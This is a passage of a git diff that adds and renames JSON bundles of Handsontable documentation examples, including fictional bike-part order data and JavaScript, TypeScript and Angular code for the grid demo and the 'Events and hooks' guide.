'2025-05-16', '86-0811003', true, '110', 4, 5],\n [false, 'Voomm', 'United Kingdom', 'Touring-2000', '2025-07-15', '95-3068680', true, '51', 4, 4],\n [false, 'Voonyx', 'China', 'Touring-3000', '2025-11-27', '35-3085360', false, '69', 2, 5],\n [false, 'Zoombeat', 'United States', \"Women's Mountain Shorts\", '2025-11-03', '56-8673088', false, '53', 2, 3],\n [false, 'Roomm', 'China', \"Women's Tights\", '2025-03-16', '76-0085918', true, '168', 1, 1],\n [false, 'Leenti', 'China', 'Mountain-400', '2025-05-16', '03-0893276', false, '58', 1, 4],\n [false, 'Jetpulse', 'United States', 'Road-550', '2025-02-08', '79-9013306', true, '152', 9, 3],\n [false, 'Katz', 'Peru', 'Road-350', '2025-02-15', '55-7799920', true, '66', 4, 2],\n [false, 'Cogidoo', 'India', 'LL Mountain Front Wheel', '2025-06-04', '07-0881122', false, '112', 9, 2],\n [false, 'Divavu', 'Colombia', 'Touring Rear Wheel', '2025-02-24', '58-6157387', true, '50', 10, 4],\n [false, 'Mydeo', 'China', 'Touring Front Wheel', '2025-12-07', '12-2810010', false, '31', 3, 5],\n [false, 'Browsebug', 'Japan', 'ML Mountain Front Wheel', '2025-01-14', '64-9249984', true, '132', 5, 5],\n [false, 'Layo', 'China', 'HL Mountain Front Wheel', '2025-04-24', '45-0739652', true, '45', 1, 5],\n [false, 'Snaptags', 'United Kingdom', 'LL Touring Handlebars', '2025-08-06', '09-5712761', true, '197', 4, 2],\n [false, 'Cogilith', 'China', 'HL Touring Handlebars', '2025-05-31', '01-7345008', true, '190', 4, 3],\n [false, 'Reallinks', 'United Kingdom', 'LL Road Front Wheel', '2025-05-14', '62-1065350', true, '184', 3, 4],\n [false, 'Quaxo', 'United States', 'ML Road Front Wheel', '2025-03-23', '44-7241323', true, '169', 3, 4],\n [false, 'Devify', 'China', 'HL Road Front Wheel', '2025-12-12', '52-0295699', false, '152', 4, 4],\n [false, 'Youopia', 'Angola', 'LL Mountain Handlebars', '2025-04-01', '52-2650922', false, '182', 6, 4],\n [false, 'Ainyx', 'China', 'Touring Pedal', '2025-02-27', '48-3618525', true, '141', 6, 1],\n [false, 'Browsetype', 'Malaysia', 'ML Mountain Handlebars', '2025-04-28', '51-8893923', true, '169', 7, 1],\n [false, 'Muxo', 'China', 'HL Mountain Handlebars', '2025-08-22', '68-5911361', false, '39', 7, 1],\n [false, 'Bubbletube', 'China', 'LL Road Handlebars', '2025-10-04', '41-5880042', true, '71', 8, 3],\n [false, 'Fadeo', 'Vietnam', 'ML Road Handlebars', '2025-04-23', '90-5913983', true, '148', 10, 3],\n [false, 'Yadel', 'United Kingdom', 'HL Road Handlebars', '2025-04-18', '92-0960699', true, '116', 8, 1],\n [false, 'Blognation', 'China', 'LL Headset', '2025-01-10', '06-9493898', true, '96', 10, 1],\n [false, 'Devpoint', 'China', 'ML Headset', '2025-12-25', '69-5878565', true, '35', 4, 2],\n [false, 'Aibox', 'United Kingdom', 'HL Headset', '2025-03-18', '13-1133017', true, '16', 8, 2],\n [false, 'Brightdog', 'China', 'LL Mountain Pedal', '2025-09-11', '39-6530433', true, '194', 2, 5],\n [false, 'Gabcube', 'Nigeria', 'ML Mountain Pedal', '2025-04-22', '96-6860388', true, '24', 1, 3],\n [false, 'Muxo', 'China', 'HL Mountain Pedal', '2025-06-05', '30-0356137', true, '170', 4, 4],\n [false, 'Tambee', 'China', 'ML Touring Seat/Saddle', '2025-02-22', '93-9058255', true, '184', 9, 5],\n [false, 'Cogilith', 'India', 'LL Touring Seat/Saddle', '2025-04-06', '82-9268909', false, '153', 10, 4],\n [false, 'Dynabox', 'Hong Kong', 'HL Touring Seat/Saddle', '2025-01-10', '20-6913815', false, '88', 10, 1],\n [false, 'Shuffledrive', 'Sudan', 'LL Road Pedal', '2025-09-16', '08-8238817', true, '57', 9, 2],\n [false, 'Fivechat', 'China', 'ML Road Pedal', '2025-08-26', '44-7370350', false, '62', 4, 1],\n [false, 'Meembee', 'United States', 'HL Road Pedal', '2025-12-27', '01-3525949', true, '123', 2, 4],\n [false, 'Dynazzy', 'United Kingdom', 'LL Mountain Seat/Saddle 1', '2025-12-15', '04-2414623', true, '77', 10, 5],\n [false, 'Eare', 'China', 'ML Mountain Seat/Saddle 1', '2025-04-04', '15-1917509', false, '199', 9, 4],\n [false, 'Yozio', 'China', 'HL Mountain Seat/Saddle 1', '2025-03-15', '06-2526845', true, '149', 8, 2],\n [false, 'Quinu', \"Xi'an\", '425-777-7829', '2025-02-22', '83-1713558', false, '191', 9, 5],\n [false, 'Jazzy', 'United Kingdom', 'ML Road Seat/Saddle 1', '2025-08-07', '00-8892524', true, '150', 10, 2],\n [false, 'Thoughtsphere', 'China', 'HL Road Seat/Saddle 1', '2025-11-28', '39-5538991', true, '130', 7, 3],\n [false, 'Leenti', 'China', 'ML Road Rear Wheel', '2025-12-29', '06-9002973', true, '179', 1, 2],\n [false, 'Quaxo', 'United Kingdom', 'HL Road Rear Wheel', '2025-09-06', '73-6104901', true, '98', 5, 3],\n [false, 'Tanoodle', 'Chile', 'LL Mountain Seat/Saddle 2', '2025-05-24', '68-7384479', true, '175', 2, 3],\n [false, 'Feednation', 'China', 'ML Mountain Seat/Saddle 2', '2025-11-21', '26-7757763', true, '11', 1, 3],\n [false, 'Kayveo', 'China', 'HL Mountain Seat/Saddle 2', '2025-06-21', '07-4873562', false, '184', 7, 4],\n [false, 'Meevee', 'Saudi Arabia', 'LL Road Seat/Saddle 1', '2025-11-16', '46-5819554', false, '27', 9, 3],\n [false, 'Twitterworks', 'China', 'ML Road Seat/Saddle 2', '2025-04-19', '01-2666826', true, '186', 3, 2],\n [false, 'Wikizz', 'Tanzania', 'HL Road Seat/Saddle 2', '2025-03-08', '54-7090503', true, '20', 3, 3],\n [false, 'Yoveo', 'United States', 'LL Mountain Tire', '2025-10-14', '78-7658520', false, '153', 2, 1],\n [false, 'Yakidoo', 'China', 'ML Mountain Tire', '2025-10-12', '23-9926318', true, '161', 8, 5],\n [false, 'Oyope', 'China', 'HL Mountain Tire', '2025-09-20', '20-0179517', true, '98', 10, 5],\n [false, 'Skipstorm', 'United States', 'LL Road Tire', '2025-10-01', '02-9543343', true, '30', 7, 3],\n [false, 'Minyx', 'United States', 'ML Road Tire', '2025-07-07', '98-3938169', true, '73', 10, 2],\n [false, 'Miboo', 'China', 'HL Road Tire', '2025-07-25', '68-5197934', true, '158', 9, 1],\n [false, 'Realfire', 'United States', 'Touring Tire', '2025-08-27', '39-8260460', true, '122', 5, 2],\n [false, 'Shufflester', 'China', 'Mountain Tire Tube', '2025-06-08', '45-9776170', true, '33', 2, 4],\n [false, 'Ntag', 'China', 'Road Tire Tube', '2025-12-06', '45-0858451', true, '107', 6, 2],\n [false, 'Jabberbean', 'United States', 'Touring Tire Tube', '2025-04-26', '15-4247305', true, '15', 1, 2],\n [false, 'Thoughtblab', 'China', 'LL Bottom Bracket', '2025-05-21', '15-8534931', true, '168', 5, 2],\n [false, 'Jabbertype', 'China', 'Classic Vest', '2025-07-25', '23-1251557', true, '135', 4, 2],\n [false, 'Buzzshare', 'United Kingdom', 'Cycling Cap', '2025-07-07', '86-5920601', true, '11', 1, 4],\n [false, 'Roodel', 'United States', 'Full-Finger Gloves', '2025-01-13', '48-1055459', true, '41', 6, 4],\n [false, 'Zoovu', 'China', 'Half-Finger Gloves', '2025-06-03', '12-7842022', true, '144', 6, 1],\n [false, 'Photofeed', 'China', 'HL Mountain Frame', '2025-07-14', '94-5088099', true, '106', 1, 4],\n];\nexport const SELECTED_CLASS = 'selected';\n\nexport function addClassesToRows(TD, row, column, _prop, _value, cellProperties) {\n // Adding classes to `TR` just while rendering first visible `TD` element\n if (column !== 0) {\n return;\n }\n\n const parentElement = TD.parentElement;\n\n if (parentElement === null) {\n return;\n }\n\n // Add class to selected rows\n if (cellProperties.instance.getDataAtRowProp(row, '0')) {\n parentElement.classList.add(SELECTED_CLASS);\n } else {\n parentElement.classList.remove(SELECTED_CLASS);\n }\n}\n\nconst example = document.getElementById('example');\n\nnew Handsontable(example, {\n data,\n height: 450,\n colWidths: [180, 220, 140, 120, 120, 120, 140],\n colHeaders: ['Company Name', 'Name', 'Sell date', 'In stock', 'Quantity', 'Order ID', 'Country'],\n contextMenu: [\n 'cut',\n 'copy',\n '---------',\n 'row_above',\n 'row_below',\n 'remove_row',\n '---------',\n 'alignment',\n 'make_read_only',\n 'clear_column',\n ],\n columns: [\n { data: 1, type: 'text' },\n { data: 3, type: 'text' },\n {\n data: 4,\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 6,\n type: 'checkbox',\n className: 'htCenter',\n },\n { data: 7, type: 'numeric' },\n { data: 5, type: 'text' },\n { data: 2, type: 'text' },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n beforeRenderer: addClassesToRows,\n autoWrapRow: true,\n autoWrapCol: true,\n autoRowSize: true,\n manualRowResize: true,\n manualColumnResize: true,\n navigableHeaders: true,\n imeFastEdit: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconsole.log(`Handsontable: v${Handsontable.version} (${Handsontable.buildDate})`);","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/demo/javascript/example.js","breadcrumb":["Getting Started","Demo"],"guide":"guides/getting-started/demo/demo.md","guideTitle":"Demo","exampleId":"example","exampleTitle":"example","docPermalink":"/demo","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__demo__react__example2.jsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__react__example2.jsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__demo__react__example2.jsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__react__example2.jsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__demo__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__demo__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__angular__example2.ts.json new file mode 100644 index 00000000..964e2ce5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport { stopImmediatePropagation } from 'handsontable/helpers/dom/event';\n\n@Component({\n selector: 'example2-events-hooks',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n lastChange: string | any[] | null = null;\n\n data = [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'yellow', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n minSpareRows: 1,\n beforeChange: (changes: any, source: any) => {\n this.lastChange = changes;\n },\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n beforeKeyDown: (e) => {\n const selection = hot?.getSelected()?.[0];\n\n if (!selection) return;\n\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0) return;\n\n console.log(selection);\n\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n stopImmediatePropagation(e);\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n }\n // ENTER\n else if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (\n this.lastChange &&\n this.lastChange.length === 1 &&\n this.lastChange[0][2] == this.lastChange[0][3]\n ) {\n stopImmediatePropagation(e);\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n }\n }\n\n this.lastChange = null;\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/events-and-hooks/angular/example2.ts","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example1.js.json new file mode 100644 index 00000000..eae94ba8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Events and hooks · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n
\n
\n
\n \n Choose events to be logged:\n
    \n
  • \n \n
    • \n
\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst config = {\n data: [\n ['', 'Tesla', 'Mazda', 'Mercedes', 'Mini', 'Mitsubishi'],\n ['2017', 0, 2941, 4303, 354, 5814],\n ['2018', 3, 2905, 2867, 412, 5284],\n ['2019', 4, 2517, 4822, 552, 6127],\n ['2020', 2, 2422, 5399, 776, 4151],\n ],\n minRows: 5,\n minCols: 6,\n height: 'auto',\n stretchH: 'all',\n minSpareRows: 1,\n autoWrapRow: true,\n colHeaders: true,\n contextMenu: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst example1Events = document.getElementById('example1_events');\nconst hooksList = document.getElementById('hooksList');\nconst hooks = Handsontable.hooks.getRegistered();\n\nhooks.forEach((hook) => {\n let checked = '';\n\n if (\n hook === 'afterChange' ||\n hook === 'afterSelection' ||\n hook === 'afterCreateRow' ||\n hook === 'afterRemoveRow' ||\n hook === 'afterCreateCol' ||\n hook === 'afterRemoveCol'\n ) {\n checked = 'checked';\n }\n\n hooksList.innerHTML += `
    • `;\n config[hook] = function () {\n log_events(hook, arguments);\n };\n});\n\nconst start = new Date().getTime();\nlet i = 0;\nlet timer;\n\n/**\n * @param event\n * @param data\n */\nfunction log_events(event, data) {\n if (document.getElementById(`check_${event}`).checked) {\n const now = new Date().getTime();\n const diff = now - start;\n let str;\n const vals = [i, `@${(diff / 1000).toFixed(3)}`, `[${event}]`];\n\n for (let d = 0; d < data.length; d++) {\n try {\n str = JSON.stringify(data[d]);\n } catch (e) {\n str = data[d].toString();\n }\n\n if (str === void 0) {\n continue;\n }\n\n if (str.length > 20) {\n str = typeof data[d] === 'object' ? `object: ${str.substr(0, 20)}...}` : str.toString();\n }\n\n if (d < data.length - 1) {\n str += ',';\n }\n\n vals.push(str);\n }\n\n if (window.console) {\n console.log(i, `@${(diff / 1000).toFixed(3)}`, `[${event}]`, data);\n }\n\n const div = document.createElement('div');\n const text = document.createTextNode(vals.join(' '));\n\n div.appendChild(text);\n example1Events.appendChild(div);\n clearTimeout(timer);\n timer = setTimeout(() => {\n example1Events.scrollTop = example1Events.scrollHeight;\n }, 10);\n i++;\n }\n}\n\nconst example1 = document.querySelector('#example1');\n\nnew Handsontable(example1, config);\ndocument.querySelector('#check_select_all').addEventListener('click', function () {\n const state = this.checked;\n const inputs = document.querySelectorAll('#hooksList input[type=checkbox]');\n\n Array.prototype.forEach.call(inputs, (input) => {\n input.checked = state;\n });\n});\ndocument.querySelector('#hooksList input[type=checkbox]').addEventListener('click', function () {\n if (!this.checked) {\n document.getElementById('check_select_all').checked = false;\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/events-and-hooks/javascript/example1.js","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/events-and-hooks","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example2.js.json new file mode 100644 index 00000000..d8e1f202 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { stopImmediatePropagation } from 'handsontable/helpers/dom/event';\n// Register all Handsontable's modules.\nregisterAllModules();\nlet lastChange = null;\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'yellow', 'gray'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n minSpareRows: 1,\n beforeChange(changes) {\n lastChange = changes;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nhot.updateSettings({\n beforeKeyDown(e) {\n const selected = hot.getSelected();\n if (!selected)\n return;\n const selection = selected[0];\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0)\n return;\n console.log(selection);\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n stopImmediatePropagation(e);\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n }\n // ENTER\n else if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (lastChange && lastChange.length === 1 && lastChange[0][2] == lastChange[0][3]) {\n stopImmediatePropagation(e);\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n }\n }\n lastChange = null;\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/events-and-hooks/javascript/example2.js","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example2.ts.json new file mode 100644 index 00000000..dac4bfea --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { stopImmediatePropagation } from 'handsontable/helpers/dom/event';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nlet lastChange: (Handsontable.CellChange | null)[] | null = null;\nconst container = document.querySelector('#example2')!;\nconst hot = new Handsontable(container, {\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'yellow', 'gray'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n minSpareRows: 1,\n beforeChange(changes) {\n lastChange = changes;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n beforeKeyDown(e) {\n const selected = hot.getSelected();\n\n if (!selected) return;\n\n const selection = selected[0]!;\n\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0) return;\n\n console.log(selection);\n\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n stopImmediatePropagation(e);\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n }\n // ENTER\n else if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (lastChange && lastChange.length === 1 && lastChange[0]![2] == lastChange[0]![3]) {\n stopImmediatePropagation(e);\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n }\n }\n\n lastChange = null;\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/events-and-hooks/javascript/example2.ts","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__react__example2.tsx.json new file mode 100644 index 00000000..cdcb141d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n 